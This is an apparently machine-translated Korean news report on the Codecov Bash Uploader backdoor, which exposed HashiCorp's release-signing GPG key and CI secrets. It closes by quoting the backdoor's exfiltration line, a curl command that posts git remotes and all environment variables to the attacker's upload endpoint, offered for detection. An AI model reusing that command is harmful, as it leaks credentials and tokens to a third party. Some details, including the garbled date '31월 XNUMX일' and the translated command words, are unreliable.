Codecov 스크립트에 악성 코드가 유입되어 HashiCorp PGP 키가 손상되었습니다.

오픈 소스 도구 Vagrant, Packer, Nomad 및 Terraform을 개발하는 것으로 알려진 HashiCorp는 릴리스를 확인하는 디지털 서명을 생성하는 데 사용되는 개인 GPG 키가 유출되었다고 발표했습니다. GPG 키에 대한 액세스 권한을 얻은 공격자는 올바른 디지털 서명으로 HashiCorp 제품을 확인함으로써 잠재적으로 HashiCorp 제품에 숨겨진 변경 사항을 적용할 수 있습니다. 동시에 회사는 감사 과정에서 그러한 수정을 시도한 흔적이 확인되지 않았다고 밝혔습니다.

현재 손상된 GPG 키는 폐기되었으며 그 자리에 새 키가 도입되었습니다. 이 문제는 SHA256SUM 및 SHA256SUM.sig 파일을 사용한 확인에만 영향을 미쳤으며, releases.hashicorp.com을 통해 제공되는 Linux DEB 및 RPM 패키지의 디지털 서명 생성과 macOS 및 Windows용 릴리스 확인 메커니즘(AuthentiCode)에는 영향을 미치지 않았습니다. .

지속적인 통합 시스템에서 적용 범위 보고서를 다운로드하도록 설계된 인프라의 Codecov Bash Uploader(codecov-bash) 스크립트 사용으로 인해 유출이 발생했습니다. Codecov 회사를 공격하는 동안 지정된 스크립트에 백도어가 숨겨졌으며 이를 통해 비밀번호와 암호화 키가 공격자의 서버로 전송되었습니다.

해킹을 위해 공격자들은 Codecov Docker 이미지 생성 과정에서 발생한 오류를 이용하여 codecov.io에서 배포된 Bash Uploader 스크립트를 변경하는 데 필요한 GCS(Google Cloud Storage)에 대한 액세스 데이터를 추출할 수 있었습니다. 웹사이트. 변경 사항은 31월 XNUMX일에 적용되었으며 두 달 동안 탐지되지 않았으며 공격자가 고객 지속적 통합 시스템 환경에 저장된 정보를 추출할 수 있었습니다. 공격자는 추가된 악성 코드를 사용하여 테스트된 Git 리포지토리와 Amazon Web Services 및 GitHub와 같은 애플리케이션 코드, 리포지토리 및 서비스에 대한 액세스를 구성하기 위해 지속적인 통합 시스템으로 전송된 토큰, 암호화 키 및 비밀번호를 포함한 모든 환경 변수에 대한 정보를 얻을 수 있습니다.

직접 호출 외에도 Codecov Bash Uploader 스크립트는 Codecov-action(Github), Codecov-circleci-orb 및 Codecov-bitrise-step과 같은 다른 업로더의 일부로 사용되었으며 해당 사용자도 문제의 영향을 받았습니다. codecov-bash 및 관련 제품의 모든 사용자는 인프라를 감사하고 비밀번호 및 암호화 키를 변경하는 것이 좋습니다. 컬 -sm 0.5 -d “$(git 원격 -v)<<<<<< ENV $(env)” http:// 줄을 사용하여 스크립트에 백도어가 있는지 확인할 수 있습니다. /업로드/v2 || 진실

출처 : opennet.ru